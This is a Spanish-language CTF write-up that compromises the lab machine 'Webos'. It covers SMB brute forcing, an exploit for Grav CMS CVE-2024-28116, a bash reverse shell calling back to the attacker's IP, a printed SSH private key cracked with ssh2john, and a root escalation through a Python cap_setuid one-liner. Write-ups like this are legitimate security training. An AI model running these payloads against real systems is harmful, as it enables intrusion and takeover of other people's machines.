Webos – TheHackersLabs Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: TheHackersLabs
Resumen Link to heading
“Webos” es una máquina de dificultad fácil de la plataforma TheHackersLabs
. Luego de una inspección inicial, vemos que la máquina está corriendo Samba
. Dado que esta máquina permite autenticación como usuario guest
, somos capaces de encontrar credenciales por fuerza bruta para un usuario en este servicio. Dentro de este servicio, somos capaces de encontrar y decodificar un archivo el cual tiene credenciales para un panel de administración del gestor de contenido Grav CMS
. Ya dentro, somos capaces de ejecutar código remoto utilizando la vulnerabilidad CVE-2024-28116 y ganar así acceso inicial a la máquina víctima. Una vez dentro, somos capaces de encontrar un archivo Python
el cual tiene capabilities, lo que nos permite escalar privilegios al usuario root
.
User / Usuario Link to heading
Empezamos enviando un ping
a la máquina víctima:
❯ ping -c1 10.20.1.128
PING 10.20.1.128 (10.20.1.128) 56(84) bytes of data.
64 bytes from 10.20.1.128: icmp_seq=1 ttl=64 time=2.73 ms
--- 10.20.1.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 2.727/2.727/2.727/0.000 ms
Basados en su TTL
, podemos suponer que estamos ante una máquina Linux
.
Buscamos entonces por puertos TCP
abiertos en esta máquina usando Nmap
corriendo el comando:
❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.20.1.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 15:53 -04
Initiating ARP Ping Scan at 15:53
Scanning 10.20.1.128 [1 port]
Completed ARP Ping Scan at 15:53, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 15:53
Scanning 10.20.1.128 [65535 ports]
Discovered open port 22/tcp on 10.20.1.128
Discovered open port 139/tcp on 10.20.1.128
Discovered open port 445/tcp on 10.20.1.128
Discovered open port 80/tcp on 10.20.1.128
Completed SYN Stealth Scan at 15:53, 2.73s elapsed (65535 total ports)
Nmap scan report for 10.20.1.128
Host is up, received arp-response (0.00031s latency).
Scanned at 2024-09-05 15:53:50 -04 for 3s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
MAC Address: 08:00:27:90:20:B8 (Oracle VirtualBox virtual NIC)
Del escaneo podemos ver 4 puertos abiertos: 22
SSH
, 80
HTTP
, 139
NetBios
y 445
Server Message Block
(SMB
). Aplicando además algunos escaneos de reconocimiento y versiones con la flag -sVC
ante estos puertos, tenemos:
❯ sudo nmap -sVC -p22,80,139,445 10.20.1.128
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-05 15:59 -04
Nmap scan report for 10.20.1.128
Host is up (0.00036s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 d1:ab:7b:af:5c:3b:5e:52:23:9a:97:57:a8:aa:a1:f5 (ECDSA)
|_ 256 73:d9:ad:9e:c0:96:12:d8:ed:1b:ee:c0:15:ba:34:98 (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-generator: GravCMS
|_http-title: webos.thl | Grav
|_http-server-header: Apache/2.4.59 (Debian)
| http-robots.txt: 13 disallowed entries
| /.github/ /.phan/ /assets/ /backup/ /bin/ /cache/ /logs/
|_/system/ /tests/ /tmp/ /user/ /vendor/ /webserver-configs/
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: THE HACKERS LABS - WEBOS)
445/tcp open netbios-ssn Samba smbd 4.17.12-Debian (workgroup: THE HACKERS LABS - WEBOS)
MAC Address: 08:00:27:90:20:B8 (Oracle VirtualBox virtual NIC)
Service Info: Host: THEHACKERSLABS-WEBOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2024-09-05T20:00:00
|_ start_date: N/A
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: , NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.17.12-Debian)
| Computer name: thehackerslabs-webos
| NetBIOS computer name: THEHACKERSLABS-WEBOS\x00
| Domain name:
| FQDN: thehackerslabs-webos
|_ System time: 2024-09-05T22:00:00+02:00
|_clock-skew: mean: -40m01s, deviation: 1h09m16s, median: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.30 seconds
Como se esperaba, NetBios
y Server Message Block|SMB
son servicios para máquinas basadas en sistema operativo Windows
, pero al estar corriendo en Linux
ésta se encuentra usando el servicio Samba
.
Si realizamos un escaneo con la herramienta WhatWeb
contra el sitio web HTTP
de la máquina víctima, obtenemos:
❯ whatweb -a 3 http://10.20.1.128
http://10.20.1.128 [200 OK] Apache[2.4.59], Cookies[grav-site-40d1b2d], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], HttpOnly[grav-site-40d1b2d], IP[10.20.1.128], JQuery, MetaGenerator[GravCMS], PasswordField[password], Script, Title[webos.thl | Grav], X-UA-Compatible[IE=edge]
De donde podemos ver que estamos ante un servicio corriendo Grav CMS
. Buscando en Google what is grav
(qué es grav?
) encontramos su página web oficial, donde proveen una descripción para este software:
Grav
is a modern, Crazy Fast, Ridiculously Easy and Powerful Flat-File Content Management System
.Básicamente, Grav CMS
es un Content Management System
(CMS
) como lo podría ser WordPress
o Joomla
.
Visitando el sitio web (http://10.20.1.128
en nuestro caso) muestra un panel de login:
Decidimos revisar algunos archivos que se muestran en /robots.txt
, pero no hallamos nada interesante de momento. De manera que volveremos a este sitio web más tarde.
Basados en la documentación de Grav CMS, cuando creamos un usuario su data es almacenada en la ruta /user/accounts
. Revisamos si este directorio existe a través de cURL
en una terminal:
❯ curl -s http://10.20.1.128/user/accounts/ | html2text
****** Index of /user/accounts ******
`ICO` Name Last modified Size Description
===========================================================================
`PARENTDIR` Parent Directory -
` ` admin.yaml 2024-07-06 14:18 362
===========================================================================
Apache/2.4.59 (Debian) Server at 10.20.1.128 Port 80
Encontramos un archivo en la ruta http://10.20.1.128/user/accounts/admin.yaml
.
Si revisamos este archivo tenemos información:
state: enabled
email: admin@thehackerslabs.com
fullname: TheHackersLabs
title: Administrator
hashed_password: $2y$10$F0k5Ajn42KuhpoAN3Y7FXevY5W2MKHQpwpCKg7EzDxlayLD.iwVJC
language: es
content_editor: default
twofa_enabled: false
twofa_secret: NVNYOYB5IL3NPUKKRX4E6BPCTRWRQNFQ
avatar: { }
access:
site:
login: true
admin:
login: true
super: true
Donde podemos ver un hash. Tratamos de crackearlo, pero no tenemos éxito.
Ya en este punto decidimos ir por el servicio SMB
. Basados en el output del escaneo de Nmap
, podemos ver que nos podemos loguear como el usuario guest
en este servicio. Si usamos la herramienta NetExec
para ver, además, qué recursos compartidos podemos ver, obtenemos:
❯ netexec smb 10.20.1.128 -u guest -p '' --shares
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [*] Windows 6.1 (name:THEHACKERSLABS-WEBOS) (domain:THEHACKERSLABS-WEBOS) (signing:False) (SMBv1:True)
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [+] THEHACKERSLABS-WEBOS\guest:
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [*] Enumerated shares
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS Share Permissions Remark
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS ----- ----------- ------
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS print$ Printer Drivers
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS webos Archivo compartido en Samba
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS IPC$ IPC Service (Samba 4.17.12-Debian)
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS nobody Home Directories
Donde podemos ver 2 recursos compartidos que no son por defecto: webos
y nobody
.
Podemos entonces usar NetExec
para performar un ataque de Brute Force Password Login
(Logueo con contraseña por Fuerza Bruta). Si uno de los recursos fuera un acceso al directorio /home
, esto podría significar que existe un usuario webos
y/o nobody
(pero este último usuario viene por defecto en algunos servicios, de manera que me lo saltaré de momento):
❯ netexec smb 10.20.1.128 -u 'webos' -p /usr/share/wordlists/rockyou.txt --ignore-pw-decoding
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [*] Windows 6.1 (name:THEHACKERSLABS-WEBOS) (domain:THEHACKERSLABS-WEBOS) (signing:False) (SMBv1:True)
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [-] THEHACKERSLABS-WEBOS\webos:123456 STATUS_LOGON_FAILURE
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [-] THEHACKERSLABS-WEBOS\webos:12345 STATUS_LOGON_FAILURE
<SNIP>
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [-] THEHACKERSLABS-WEBOS\webos:father STATUS_LOGON_FAILURE
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [-] THEHACKERSLABS-WEBOS\webos:77777 STATUS_LOGON_FAILURE
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [+] THEHACKERSLABS-WEBOS\webos:geraldine
y obtenemos credenciales: webos:geraldine
.
Revisando cuáles son los recursos que este usuario puede leer, tenemos 2:
❯ netexec smb 10.20.1.128 -u 'webos' -p 'geraldine' --shares --filter-shares READ WRITE
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [*] Windows 6.1 (name:THEHACKERSLABS-WEBOS) (domain:THEHACKERSLABS-WEBOS) (signing:False) (SMBv1:True)
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [+] THEHACKERSLABS-WEBOS\webos:geraldine
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS [*] Enumerated shares
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS Share Permissions Remark
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS ----- ----------- ------
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS print$ READ Printer Drivers
SMB 10.20.1.128 445 THEHACKERSLABS-WEBOS webos READ Archivo compartido en Samba
donde webos
se ve interesante.
Observando qué es lo que hay dentro del recurso compartido webos
con la herramienta smbmap
muestra un archivo .txt
:
❯ smbmap -H 10.20.1.128 -u 'webos' -p 'geraldine' -r 'webos' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.20.1.128:445 Name: 10.20.1.128 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
webos READ ONLY Archivo compartido en Samba
./webos
dr--r--r-- 0 Wed Jul 17 14:47:07 2024 .
dr--r--r-- 0 Thu Jul 18 05:31:55 2024 ..
fr--r--r-- 245 Wed Jul 17 14:47:07 2024 MamaÑema.txt
IPC$ NO ACCESS IPC Service (Samba 4.17.12-Debian)
Podemos entonces usar smbmap
nuevamente para descargar este archivo:
❯ smbmap -H 10.20.1.128 -u 'webos' -p 'geraldine' --download 'webos/MamaÑema.txt' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] Starting download: webos\MamaÑema.txt (245 bytes)
[+] File output to: /home/gunzf0x/OtherMachines/TheHackersLabs/Webos/content/10.20.1.128-webos_MamaÑema.txt
[*] Closed 1 connections
Leyendo el contenido de este archivo, vemos que éste podría estar en lenguaje conocido como Brainfuck
:
❯ cat 10.20.1.128-webos_MamaÑema.txt
++++++++++[>++++++++++>++++++++++>+++++++++++>+++++++++++>+++++++++++>++++++>++++++++>++++++++++>+++++++++++>+++++++++++>++++++++++>+++++++++++>+++++>++++++>++++<<<<<<<<<<<<<<<-]>---.>.>-.>-----.>.>--.>.>+.>++++.>-----.>-.>+.>++++.>---.>++.....
Podemos entonces ir a esta página web, pasar el contenido del archivo y decodificar el mensaje oculto:
Aparentemente estas son credenciales: admin:Perico69*****
.
Recordamos entonces el archivo admin.yml
el cual habíamos hallado anteriormente. ¿Será el hash que no habíamos podido crackear anteriormente el mismo que el hash de la password Perico69*****
? Para revisar si esta es la password del usuario, de manera local, podemos crear un archivo el cual sólo contenga esta contraseña hallada y vemos si corresponde al hash hallado utilizando la herramienta JohnTheRipper
:
❯ echo 'Perico69*****' > admin_found_credentials.txt
❯ john --wordlist=./admin_found_credentials.txt admin_hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 1 candidate left, minimum 15 needed for performance.
Perico69***** (?)
1g 0:00:00:00 DONE (2024-09-05 18:28) 10.00g/s 10.00p/s 10.00c/s 10.00C/s Perico69*****
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
y la crackea. Esto quiere decir, básicamente, que la contraseña Perico69*****
corresponde a la contraseña hasheada que habíamos hallado en el archivo admin.yaml
para Grav CMS
.
Googleando dónde se encuentra el panel de administración para Grav CMS
nos lleva a su documentación oficial. Allí, ellos dicen que deberíamos de visitar la ruta /admin
. Por ende, visitando http://10.20.1.128/admin
muestra, en efecto, un nuevo panel:
Si ponemos las credenciales admin:Perico69*****
funcionan, y estamos dentro del panel:
En la parte más inferior del panel, puedo ver una versión: Grav v1.7.44
:
![Webos 5][(/images/Webos_5.png)
Buscando por Grav CMS exploit
para esta versión, nos lleva a una vulnerabilidad catalogada como CVE-2024-28116. Además, somos capaces de encontrar este repositorio de Github llamado Graver
el cual provee un exploit. Basados en la documentación, podemos correr este exploit usando:
# python3 graver.py -t <target_url> -p <target_port>
pero este es un exploit que está categorizado como authenticated
, es decir, debemos de estar autenticados para poder explotar el servicio. Analizando el código fuente del script graver.py
(el exploit que viene en el repositorio), podemos ver que las líneas 37 y 38 nos piden un usuario y contraseña:
<SNIP>
##############################################
# Enter here your Grav CMS editor credentials
username = "youruser"
password = "yourpassword"
##############################################
<SNIP>
Allí, cambiamos estas líneas por nuestros valores username = 'admin'
y password = 'Perico69*****'
(las credenciales halladas).
Si corremos el exploit, aparentemente éste funciona:
❯ python3 grav_exploit.py -t http://10.20.1.128
RCE payload injected, now visit the malicious page at: 'http://10.20.1.128:80/hacked_P9AI?do='
Visitando el sitio web creado por el exploit muestra una simple página:
donde www-data
me dice que se pudo ejecutar el exploit, pero no soy capaz de ejecutar código al visitar http://10.20.1.128:80/hacked_P9AI?do=id
o algo similar.
Ya en este punto, decidimos buscar cómo explotar esta vulnerabilidad y encontramos este video donde utilizan exactamente el mismo exploit del repositorio que hemos estado usando y, además, enseñan cómo ejecutar código. En resumen, una vez la página ha sido creada, vamos al panel principal y luego a la pestaña Páginas
(Pages
) que se encuentra al lado izquierdo. Esto redirige a la ruta /admin/pages
. Una vez allí, podemos ver las páginas del gestor de contenido; entre ellas la página web generada por el exploit:
Clickeando en el nombre de nuestra página creada nos lleva a /admin/pages/<nombre-página>
. En nuestro caso, dado que el nombre de la página es hacked_P9AI
, éste nos redirigirá a la ruta /admin/pages/hacked_p9ai
. Ahora somos capaces de ver su contenido:
Aquí entonces decidimos cambiar la cadena/string whoami
por ping -c1 10.20.1.110
, donde 10.20.1.110
es la dirección IP de nuestra máquina de atacante.
y clickeamos en el botón de Guardar
(Save
) en la parte superior derecha.
Básicamente, lo que haremos será tratar de enviarnos un ping
a nuestra máquina de atacante para corroborar que podemos realizar Remote Code Execution
(RCE
).
Utilizamos entonces la herramienta tcpdump
para ponernos en escucha por trazas ICMP
en la interfaz de net eth0
(la interfaz de net por la cual tenemos conectividad a la máquina víctima):
❯ sudo tcpdump -ni eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Luego, si visitamos http://10.20.1.128/hacked_p9ai
podemos ver que el comando ping
ha sido ejecutado:
y revisando nuestro listener con tcpdump
vemos que hemos recibido algo:
❯ sudo tcpdump -ni eth0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
19:33:22.826339 IP 10.20.1.128 > 10.20.1.110: ICMP echo request, id 55659, seq 1, length 64
19:33:22.826357 IP 10.20.1.110 > 10.20.1.128: ICMP echo reply, id 55659, seq 1, length 64
Recibimos un ping
desde la dirección 10.20.1.128
, la cual es la dirección IP de la máquina víctima. Confirmamos así que hemos logrado un Remote Code Execution|RCE
.
Dado que esto funcionó, volvemos al directorio /admin/pages
y volvemos a editar nuestro archivo malicioso. Pero esta vez decidimos agregar el payload:
!Webos_12.png
bash -c "bash -i >& /dev/tcp/10.20.1.110/443 0>&1"
donde 10.20.1.110
es nuestra IP de atacante y 443
es el puerto en el cual nos pondremos en escucha con netcat
para obtener una reverse shell.
Guardamos el contenido de la página de nuevo y en una terminal nos ponemos en escucha con netcat
en el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
Finalmente, visitamos la página que contiene nuestro payload (en nuestro caso http://10.20.1.128/hacked_p9ai
) y obtenemos una reverse shell como el usuario www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.20.1.110] from (UNKNOWN) [10.20.1.128] 60254
bash: cannot set terminal process group (539): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TheHackersLabs-Webos:/var/www/html$ whoami
whoami
www-data
Luego de buscar por archivos interesantes, encontramos un archivo interesante en el directorio /opt
:
www-data@TheHackersLabs-Webos:/var/www/html$ ls -la /opt
total 12
drwxr-xr-x 2 webos webos 4096 Jul 6 14:34 .
drwxr-xr-x 18 root root 4096 Jul 6 14:31 ..
-rw-r--r-- 1 webos webos 3434 Jul 6 13:56 id_rsa
donde podemos ver una key id_rsa
cuyo propietario es el usuario webos
.
Si leemos su contenido tenemos:
www-data@TheHackersLabs-Webos:/var/www/html$ cat /opt/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
ezFLIVT0OZPkK1bB3I2tLpXi0=
-----END OPENSSH PRIVATE KEY-----
Decidimos entonces guardar el contenido de esta key en nuestra máquina de atacante en un archivo llamado webos_id_rsa
, al cual le damos permisos de ejecución y la usamos para conectarnos por SSH
como el usuario webos
:
❯ nvim webos_id_rsa
❯ chmod 600 webos_id_rsa
❯ ssh -i webos_id_rsa webos@10.20.1.128
The authenticity of host '10.20.1.128 (10.20.1.128)' can't be established.
ED25519 key fingerprint is SHA256:w8UgTBmuwG1smfcGc48qBPhvE6qd3suezLv4a6dEt2M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.20.1.128' (ED25519) to the list of known hosts.
Enter passphrase for key 'webos_id_rsa':
Pero el archivo nos pregunta por una passphrase.
Podemos entonces usar la herramienta ssh2john
para extraer el hash de esta passphrase y guardarlo en un archivo que llamaremos webos_passphrase
:
❯ ssh2john webos_id_rsa > webos_passphrase
Tratamos de crackear esta passphrase utilizando JohnTheRipper
(john
) a través de un Brute Force Password Cracking
con el diccionario rockyou.txt
:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt webos_passphrase
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
freestyle (webos_id_rsa)
1g 0:00:01:45 DONE (2024-09-05 19:55) 0.009493g/s 33.41p/s 33.41c/s 33.41C/s beaver..dracula
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Encontramos una passphrase para la key: freestyle
.
Podemos entonces tratar de loguearnos por SSH
en la máquina víctima, proveyendo la key encontrada con su respectiva passphrase:
❯ ssh -i webos_id_rsa webos@10.20.1.128
Enter passphrase for key 'webos_id_rsa': freestyle
Linux TheHackersLabs-Webos 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 18 11:45:53 2024 from 192.168.18.19
webos@TheHackersLabs-Webos:~$
Y estamos dentro como el usuario webos
.
Podemos leer el contenido de la flag user.txt
en el directorio /home
de este usuario.
Root Link to heading
Ya dentro de la máquina víctima, revisamos archivos en el directorio /home/webos
. Hay un archivo que no es para nada usual y cuyo propietario es root
, el cual es un ejecutable para Python|python3
:
webos@TheHackersLabs-Webos:~$ ls -la
total 6716
drwxr-xr-x 5 webos webos 4096 jul 18 11:31 .
drwxr-xr-x 4 root root 4096 jul 6 13:45 ..
lrwxrwxrwx 1 root root 9 jul 18 11:31 .bash_history -> /dev/null
-rw-r--r-- 1 webos webos 220 abr 23 2023 .bash_logout
-rw-r--r-- 1 webos webos 3526 abr 23 2023 .bashrc
drwxr-xr-x 3 webos webos 4096 jul 6 14:36 .local
-rw-r--r-- 1 webos webos 807 abr 23 2023 .profile
-rwxr-xr-x 1 root root 6839928 jul 6 14:10 python3
drwx------ 2 webos webos 4096 jul 6 13:55 .ssh
-r-------- 1 webos webos 36 jul 18 11:02 user.txt
drwxr-xr-x 2 webos webos 4096 jul 17 20:47 webito
Revisamos qué tipo de archivo es con el comando file
. No obstante, el sistema no reconoce el binario ni comando file
en el sistema, lo cual es raro y no es muy usual…
webos@TheHackersLabs-Webos:~$ file /home/webos/python3
-bash: file: orden no encontrada
Si queremos chequear capabilities
, usualmente usamos el comando getcap
(que usualmente viene en casi todos los sistemas Linux
por defecto). Sin embargo, este tampoco se encuentra en el sistema:
webos@TheHackersLabs-Webos:~$ getcap /home/webos/python3
-bash: getcap: orden no encontrada
Como esto es extraño, podemos utilizar find
para buscar si realmente getcap
no existe en el sistema:
webos@TheHackersLabs-Webos:~$ find / -name getcap -type f 2>/dev/null
/usr/sbin/getcap
Resulta que sí existe y éste se encuentra en el directorio /usr/bin
.
¿Por qué el sistema no lo reconoce entonces? Si revisamos nuestra variable de entorno PATH
(ejecutando echo $PATH
), podemos ver que la ruta /usr/sbin
no está contenida. Por tanto, el sistema no será capaz de encontrar el binario de getcap
.
Usando la ruta absoluta para el binario de getcap
encontrada para buscar archivos con Capabilities|capabilities
en el sistema, muestra que, en efecto, el archivo Python|python3
que estaba en /home/webos
tiene Capabilities|capabilities
:
webos@TheHackersLabs-Webos:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/home/webos/python3 cap_setuid=ep
Tenemos la opción cap_setuid
habilitada (que es lo que indica ep
), lo que significa que podemos abusar de este archivo para escalar privilegios.
Finalmente, podemos ir a la página web de GTFOBins
, buscar por Python capabilities y explotar este recurso para convertirnos en el usuario root
:
webos@TheHackersLabs-Webos:~$ /home/webos/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# whoami
root
Podemos entonces leer la flag root.txt
en el directorio /root
.
~Happy Hacking
Extra: Grav CMS
exploit
Link to heading
